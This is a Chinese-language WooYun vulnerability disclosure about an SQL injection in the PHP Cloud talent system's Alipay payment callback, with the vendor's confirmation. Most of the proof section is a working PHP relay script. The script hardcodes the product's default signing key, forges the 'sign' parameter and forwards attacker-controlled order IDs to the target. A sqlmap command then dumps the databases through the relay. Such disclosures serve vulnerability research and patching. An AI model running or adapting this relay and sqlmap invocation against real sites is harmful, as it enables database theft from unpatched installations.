漏洞概要 关注数(12) 关注此漏洞
缺陷编号: WooYun-2013-43636
漏洞标题: php云人才系统 UC API 未初始化注入漏洞
相关厂商: php云人才系统
漏洞作者: Matt
提交时间: 2013-11-21 20:13
公开时间: 2014-02-19 20:14
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2013-11-21: 细节已通知厂商并且等待厂商处理中
2013-11-21: 厂商已经确认,细节仅向厂商公开
2013-11-24: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-01-15: 细节向核心白帽子及相关领域专家公开
2014-01-25: 细节向普通白帽子公开
2014-02-04: 细节向实习白帽子公开
2014-02-19: 细节向公众公开
简要描述:
详细说明:
api/alipaydual/notify_url.php
require_once("alipay.config.php");
require_once("lib/alipay_notify.class.php");
require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php");
require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php");
$db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']);
//计算得出通知验证结果
$alipayNotify = new AlipayNotify($aliapy_config);
$verify_result = $alipayNotify->verifyNotify();//有一处验证 验证可以绕过
if($verify_result) {//验证成功
echo 222; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//请在这里加上商户的业务逻辑程序代
//——请根据您的业务逻辑来编写程序(以下代码仅作参考)——
//获取支付宝的通知返回参数,可参考技术文档中服务器异步通知参数列表
$out_trade_no = $_POST['out_trade_no']; //获取订单号
$trade_no = $_POST['trade_no']; //获取支付宝交易号
$total = $_POST['price']; //获取总价格
$sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='$out_trade_no'");//这里进行了注入
echo "select * from `".$db_config["def"]."company_order` where `order_id`='$out_trade_no'";
$row=mysql_fetch_array($sql);
$sOld_trade_status = $row['order_state'];
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
验证代码:
function verifyNotify(){
if(empty($_POST)) {//判断POST来的数组是否为空
return false;
}
else {
//生成签名结果
$mysign = $this->getMysign($_POST);//这里会产生一个KEY 我们跟一下
echo $mysign."||";
function getMysign($para_temp) {
//除去待签名参数数组中的空值和签名参数
$para_filter = paraFilter($para_temp);
//对待签名参数数组排序
$para_sort = argSort($para_filter);
//生成签名结果
echo trim($this->aliapy_config['key'])."::". strtoupper(trim($this->aliapy_config['sign_type'])).":x:";
$mysign = buildMysign($para_sort, trim($this->aliapy_config['key']), strtoupper(trim($this->aliapy_config['sign_type'])));//可以看到这里有利用一个KEY 进行加密 这个KEY是有默认值的 我们可以构造一个中转来生产一个KEY进行注入!
return $mysign;
}
漏洞证明:
中转程序如下
================================================================================
<?php
function paraFilter($para) {
$para_filter = array();
while (list ($key, $val) = each ($para)) {
if($key == "sign" || $key == "sign_type" || $val == "")continue;
else $para_filter[$key] = $para[$key];
}
return $para_filter;
}
function argSort($para) {
ksort($para);
reset($para);
return $para;
}
function createLinkstring($para) {
$arg = "";
while (list ($key, $val) = each ($para)) {
$arg.=$key."=".$val."&";
}
//去掉最后一个&字符
$arg = substr($arg,0,count($arg)-2);
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
return $arg;
}
function sign($prestr,$sign_type='MD5') {
$sign='';
if($sign_type == 'MD5') {
$sign = md5($prestr);
}elseif($sign_type =='DSA') {
//DSA 签名方法待后续开发
die("DSA 签名方法待后续开发,请先使用MD5签名方式");
}else {
die("支付宝暂不支持".$sign_type."类型的签名方式");
}
return $sign;
}
function buildMysign($sort_para,$key,$sign_type = "MD5") {
//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key;
//把最终的字符串签名,获得签名结果
$mysgin = sign($prestr,$sign_type);
return $mysgin;
}
function getMysign($para_temp) {
//除去待签名参数数组中的空值和签名参数
$para_filter = paraFilter($para_temp);
//对待签名参数数组排序
$para_sort = argSort($para_filter);
//生成签名结果
$mysign = buildMysign($para_sort, 'jbjwjnu6zhax0eewc3vfiqldvrg8rnfz', 'MD5');
return $mysign;
}
$hash=getMysign($_POST);
$host="**.**.**.**";//这里设置下host!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$data="sign={$hash}&out_trade_no={$_POST[out_trade_no]}";
$username=rawurlencode(stripslashes($_GET['username']));
$message = "POST /yun/api/alipaydual/notify_url.php HTTP/1.1\r\n";//这里记得修改路径!!!!!!!!!!!!!!!!!!!!
$message .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij\r\n";
$message .= "Host: {$host}\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Connection: close\r\n";
$message .= "\r\n";
$message .=$data;
//echo $message;
//file_put_contents('2.txt',$message,FILE_APPEND);
// print $message;
// exit();
$ock=fsockopen($host,80);
if (!$ock) {
echo 'No response from xx!';
//die;
return '';
}
fputs($ock,$message);
while ($ock && !feof($ock))
$resp .= fread($ock, 1024);
echo $resp;
?>
测试方式
sqlmap.py -u "http://**.**.**.**/x.php" --data="out_trade_no=1" --dbs
就可以了
修复方案:
版权声明:转载请注明来源 Matt@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2013-11-21 20:21
厂商回复:
我们会及时修复,感谢您的提供!
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值